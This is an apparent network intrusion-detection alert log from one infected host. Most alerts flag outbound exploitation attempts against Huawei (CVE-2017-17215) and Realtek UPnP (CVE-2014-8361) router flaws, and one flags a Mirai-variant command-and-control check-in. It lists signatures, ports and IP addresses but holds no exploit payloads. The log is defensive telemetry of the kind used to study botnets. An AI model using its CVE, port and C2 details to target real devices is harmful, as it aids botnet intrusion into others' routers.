07/20/24-23:01:13.329793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55518	52869	192.168.2.14	174.69.237.0
07/20/24-23:01:02.415259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37866	37215	192.168.2.14	161.127.78.197
07/20/24-23:01:25.287093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55486	37215	192.168.2.14	102.187.245.19
07/20/24-23:01:28.208110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38678	37215	192.168.2.14	197.206.237.29
07/20/24-23:01:25.230657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42856	37215	192.168.2.14	169.252.154.154
07/20/24-23:01:05.898116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43638	37215	192.168.2.14	157.28.208.36
07/20/24-23:01:05.911929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50520	37215	192.168.2.14	157.24.24.17
07/20/24-23:01:07.682290	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42318	37215	192.168.2.14	157.99.211.107
07/20/24-23:01:19.334827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52426	37215	192.168.2.14	197.89.208.254
07/20/24-23:01:02.411903	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49206	37215	192.168.2.14	41.239.228.171
07/20/24-23:01:29.171113	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35368	52869	192.168.2.14	94.216.126.93
07/20/24-23:01:02.444792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49006	37215	192.168.2.14	13.83.123.25
07/20/24-23:01:13.330939	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52058	52869	192.168.2.14	151.136.169.42
07/20/24-23:01:28.143109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52186	37215	192.168.2.14	197.213.136.195
07/20/24-23:01:33.044521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45706	37215	192.168.2.14	44.58.161.121
07/20/24-23:01:05.253611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34388	52869	192.168.2.14	34.37.107.29
07/20/24-23:01:25.291116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34238	37215	192.168.2.14	41.213.179.11
07/20/24-23:01:02.404044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60728	37215	192.168.2.14	41.26.139.46
07/20/24-23:01:02.410515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48420	37215	192.168.2.14	41.80.60.235
07/20/24-23:01:33.647102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57378	52869	192.168.2.14	90.112.65.145
07/20/24-23:01:22.794319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49224	37215	192.168.2.14	41.162.79.152
07/20/24-23:01:29.550329	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53180	52869	192.168.2.14	172.52.92.23
07/20/24-23:01:37.167957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39104	37215	192.168.2.14	157.24.63.141
07/20/24-23:01:13.332172	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46872	52869	192.168.2.14	141.224.95.108
07/20/24-23:01:13.335387	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37074	52869	192.168.2.14	60.154.99.20
07/20/24-23:01:29.572433	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40168	52869	192.168.2.14	223.29.150.196
07/20/24-23:01:33.100578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37062	37215	192.168.2.14	197.147.172.239
07/20/24-23:01:02.411645	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40822	37215	192.168.2.14	41.121.47.232
07/20/24-23:01:05.897173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44782	37215	192.168.2.14	41.99.96.147
07/20/24-23:01:37.121609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45900	37215	192.168.2.14	197.198.199.152
07/20/24-23:01:05.908608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33288	37215	192.168.2.14	197.24.155.216
07/20/24-23:01:19.221647	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54190	37215	192.168.2.14	157.145.181.40
07/20/24-23:01:02.412965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59068	37215	192.168.2.14	41.173.192.227
07/20/24-23:01:33.044521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34008	37215	192.168.2.14	197.30.48.23
07/20/24-23:01:05.893818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57768	37215	192.168.2.14	41.203.149.103
07/20/24-23:01:37.121609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51312	37215	192.168.2.14	157.232.232.165
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41282	37215	192.168.2.14	157.157.249.63
07/20/24-23:01:33.069192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45598	37215	192.168.2.14	157.22.141.151
07/20/24-23:01:02.407252	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52176	37215	192.168.2.14	126.166.207.208
07/20/24-23:01:37.227564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33906	37215	192.168.2.14	41.112.125.130
07/20/24-23:01:11.467529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48860	37215	192.168.2.14	197.26.183.239
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35896	37215	192.168.2.14	197.38.58.18
07/20/24-23:01:29.172029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58488	52869	192.168.2.14	146.184.254.182
07/20/24-23:01:37.158916	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38598	37215	192.168.2.14	41.166.90.82
07/20/24-23:01:24.485271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59090	52869	192.168.2.14	132.72.212.148
07/20/24-23:01:22.792913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53166	37215	192.168.2.14	8.8.142.240
07/20/24-23:01:37.214680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36286	37215	192.168.2.14	197.180.127.172
07/20/24-23:01:05.911930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44068	37215	192.168.2.14	161.234.199.200
07/20/24-23:01:24.721637	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51598	52869	192.168.2.14	167.31.141.74
07/20/24-23:01:25.271822	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54156	52869	192.168.2.14	72.66.251.190
07/20/24-23:01:29.189808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50160	52869	192.168.2.14	80.229.248.142
07/20/24-23:01:33.908831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48184	52869	192.168.2.14	163.184.63.212
07/20/24-23:01:33.069192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34674	37215	192.168.2.14	197.230.144.186
07/20/24-23:01:13.335418	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36292	52869	192.168.2.14	177.232.37.130
07/20/24-23:01:14.397786	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42810	37215	192.168.2.14	41.244.95.243
07/20/24-23:01:05.906602	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47722	37215	192.168.2.14	157.193.7.72
07/20/24-23:01:22.769326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38330	37215	192.168.2.14	136.46.195.122
07/20/24-23:01:13.333560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58816	52869	192.168.2.14	222.151.202.253
07/20/24-23:01:28.184352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32884	37215	192.168.2.14	157.189.33.145
07/20/24-23:01:02.415739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52714	37215	192.168.2.14	181.36.87.26
07/20/24-23:01:13.333893	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33128	52869	192.168.2.14	179.90.129.47
07/20/24-23:01:37.122769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43834	37215	192.168.2.14	197.147.97.146
07/20/24-23:01:05.843043	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50862	52869	192.168.2.14	151.136.169.42
07/20/24-23:01:25.293652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57772	37215	192.168.2.14	157.67.250.160
07/20/24-23:01:33.049931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35326	37215	192.168.2.14	197.217.208.13
07/20/24-23:01:19.221345	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54808	37215	192.168.2.14	157.87.163.161
07/20/24-23:01:22.857863	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42150	52869	192.168.2.14	178.190.243.0
07/20/24-23:01:22.790734	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38006	37215	192.168.2.14	41.38.46.171
07/20/24-23:01:28.143994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42642	37215	192.168.2.14	41.106.121.122
07/20/24-23:01:05.898280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47986	37215	192.168.2.14	208.162.133.146
07/20/24-23:01:37.227353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43322	37215	192.168.2.14	135.90.47.36
07/20/24-23:01:29.172029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59840	52869	192.168.2.14	176.163.228.117
07/20/24-23:01:29.179619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59662	52869	192.168.2.14	132.72.212.148
07/20/24-23:01:07.358869	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	40048	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:22.762116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46496	37215	192.168.2.14	38.8.28.16
07/20/24-23:01:34.939612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44338	52869	192.168.2.14	167.136.67.125
07/20/24-23:01:33.044521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51970	37215	192.168.2.14	157.240.42.96
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39920	37215	192.168.2.14	79.132.193.104
07/20/24-23:01:22.769838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58388	37215	192.168.2.14	197.238.195.175
07/20/24-23:01:02.409019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38188	37215	192.168.2.14	197.249.151.109
07/20/24-23:01:11.467355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52582	37215	192.168.2.14	41.213.182.56
07/20/24-23:01:37.214680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45988	37215	192.168.2.14	157.241.94.91
07/20/24-23:01:32.812681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49472	52869	192.168.2.14	45.184.153.75
07/20/24-23:01:25.298710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43466	37215	192.168.2.14	157.171.155.202
07/20/24-23:01:29.187581	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44206	52869	192.168.2.14	75.209.239.5
07/20/24-23:01:37.224827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33790	37215	192.168.2.14	157.16.155.45
07/20/24-23:01:02.408597	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55560	37215	192.168.2.14	197.81.117.241
07/20/24-23:01:24.716091	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47382	52869	192.168.2.14	17.93.26.147
07/20/24-23:01:34.938216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54938	52869	192.168.2.14	138.235.159.241
07/20/24-23:01:22.776061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35584	37215	192.168.2.14	197.144.82.108
07/20/24-23:01:02.410541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41482	37215	192.168.2.14	157.88.41.229
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47460	37215	192.168.2.14	197.208.154.119
07/20/24-23:01:34.920870	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48136	52869	192.168.2.14	142.116.242.190
07/20/24-23:01:13.333147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58806	52869	192.168.2.14	85.70.210.244
07/20/24-23:01:02.415804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57010	37215	192.168.2.14	41.180.195.47
07/20/24-23:01:06.123009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46984	52869	192.168.2.14	207.107.95.51
07/20/24-23:01:13.330714	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54148	52869	192.168.2.14	181.146.224.142
07/20/24-23:01:02.410932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36238	37215	192.168.2.14	76.199.109.54
07/20/24-23:01:59.292118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60550	37215	192.168.2.14	46.76.70.226
07/20/24-23:01:34.942495	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33934	52869	192.168.2.14	186.241.124.28
07/20/24-23:01:05.542205	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54374	52869	192.168.2.14	174.69.237.0
07/20/24-23:01:14.398311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60090	37215	192.168.2.14	153.32.219.22
07/20/24-23:01:22.804406	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59690	37215	192.168.2.14	151.105.20.105
07/20/24-23:01:28.196416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60728	37215	192.168.2.14	157.189.212.188
07/20/24-23:01:29.170915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33948	52869	192.168.2.14	107.169.50.209
07/20/24-23:01:02.411663	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50544	37215	192.168.2.14	60.162.189.105
07/20/24-23:01:37.227565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39776	37215	192.168.2.14	157.54.132.20
07/20/24-23:01:13.332051	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33906	52869	192.168.2.14	187.235.69.197
07/20/24-23:01:02.409019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60986	37215	192.168.2.14	43.186.3.173
07/20/24-23:01:22.792913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60158	37215	192.168.2.14	97.67.89.6
07/20/24-23:01:34.899596	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58332	52869	192.168.2.14	1.119.230.113
07/20/24-23:01:21.298389	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53156	52869	192.168.2.14	147.70.92.77
07/20/24-23:01:25.227766	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39352	52869	192.168.2.14	135.98.136.137
07/20/24-23:01:37.122769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50500	37215	192.168.2.14	222.247.173.186
07/20/24-23:01:05.893818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49206	37215	192.168.2.14	41.93.226.90
07/20/24-23:01:14.396917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50242	37215	192.168.2.14	169.36.6.236
07/20/24-23:01:24.997585	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49562	52869	192.168.2.14	80.229.248.142
07/20/24-23:01:05.871044	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56844	52869	192.168.2.14	114.173.101.131
07/20/24-23:01:13.334997	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50684	52869	192.168.2.14	38.32.235.210
07/20/24-23:01:07.465802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51724	52869	192.168.2.14	79.199.66.178
07/20/24-23:01:34.945581	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57322	52869	192.168.2.14	131.109.219.124
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56264	37215	192.168.2.14	197.156.152.13
07/20/24-23:01:02.414527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57698	37215	192.168.2.14	157.177.125.202
07/20/24-23:01:13.329204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40100	52869	192.168.2.14	170.123.158.68
07/20/24-23:01:34.939612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40636	52869	192.168.2.14	52.100.4.60
07/20/24-23:01:13.333560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43006	52869	192.168.2.14	74.231.66.1
07/20/24-23:01:05.776042	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37992	52869	192.168.2.14	64.213.179.125
07/20/24-23:01:19.220285	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57664	37215	192.168.2.14	19.249.253.104
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53210	37215	192.168.2.14	157.187.212.131
07/20/24-23:01:37.120918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42896	37215	192.168.2.14	41.213.240.121
07/20/24-23:01:05.943931	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52456	52869	192.168.2.14	71.96.116.185
07/20/24-23:01:25.284909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46782	37215	192.168.2.14	197.185.101.13
07/20/24-23:01:13.330897	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43106	52869	192.168.2.14	157.159.16.125
07/20/24-23:01:06.650057	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55368	52869	192.168.2.14	90.146.163.93
07/20/24-23:01:33.848107	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52434	52869	192.168.2.14	88.254.0.55
07/20/24-23:01:19.223034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52838	37215	192.168.2.14	197.139.121.233
07/20/24-23:01:25.489348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39094	52869	192.168.2.14	207.154.52.96
07/20/24-23:01:24.075444	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50780	52869	192.168.2.14	23.185.180.14
07/20/24-23:01:11.474688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36486	37215	192.168.2.14	209.241.55.97
07/20/24-23:01:02.414527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58460	37215	192.168.2.14	207.21.193.219
07/20/24-23:01:29.171690	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41804	52869	192.168.2.14	52.29.198.133
07/20/24-23:01:02.414528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60422	37215	192.168.2.14	157.250.180.168
07/20/24-23:01:14.397786	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51238	37215	192.168.2.14	157.159.230.178
07/20/24-23:01:30.986774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46482	52869	192.168.2.14	203.116.243.30
07/20/24-23:01:02.413579	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56066	37215	192.168.2.14	197.77.202.247
07/20/24-23:01:05.782973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43462	52869	192.168.2.14	99.58.61.9
07/20/24-23:01:28.143148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36830	37215	192.168.2.14	41.214.187.126
07/20/24-23:01:33.040755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44712	37215	192.168.2.14	9.118.97.45
07/20/24-23:01:22.991703	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51302	52869	192.168.2.14	54.211.16.108
07/20/24-23:01:11.481655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60998	37215	192.168.2.14	41.128.0.91
07/20/24-23:01:05.773628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44526	52869	192.168.2.14	40.180.122.90
07/20/24-23:01:34.685918	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55730	52869	192.168.2.14	89.251.44.55
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51054	37215	192.168.2.14	157.160.7.24
07/20/24-23:01:06.216684	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41774	52869	192.168.2.14	74.231.66.1
07/20/24-23:01:34.900554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57816	52869	192.168.2.14	17.165.228.4
07/20/24-23:01:22.862534	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50534	52869	192.168.2.14	23.185.180.14
07/20/24-23:01:14.457357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49930	37215	192.168.2.14	197.192.10.119
07/20/24-23:01:22.779210	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50010	37215	192.168.2.14	157.19.201.2
07/20/24-23:01:19.225297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52264	37215	192.168.2.14	41.64.235.27
07/20/24-23:01:33.382308	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33694	52869	192.168.2.14	66.20.90.81
07/20/24-23:01:05.895886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39332	37215	192.168.2.14	96.50.39.180
07/20/24-23:01:37.224827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38944	37215	192.168.2.14	197.148.15.6
07/20/24-23:01:25.127718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47348	52869	192.168.2.14	58.199.141.7
07/20/24-23:01:37.122115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57518	37215	192.168.2.14	157.62.54.159
07/20/24-23:01:25.348386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57192	52869	192.168.2.14	157.113.216.32
07/20/24-23:01:22.786757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54726	37215	192.168.2.14	157.92.46.63
07/20/24-23:01:13.333720	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48284	52869	192.168.2.14	98.212.47.174
07/20/24-23:01:02.409019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54852	37215	192.168.2.14	197.30.62.141
07/20/24-23:01:06.571768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52350	52869	192.168.2.14	19.130.123.151
07/20/24-23:01:37.121609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48214	37215	192.168.2.14	41.39.167.156
07/20/24-23:01:25.289824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52780	37215	192.168.2.14	157.161.253.42
07/20/24-23:01:34.928965	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43928	52869	192.168.2.14	74.8.125.187
07/20/24-23:01:13.332449	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37262	52869	192.168.2.14	111.86.157.53
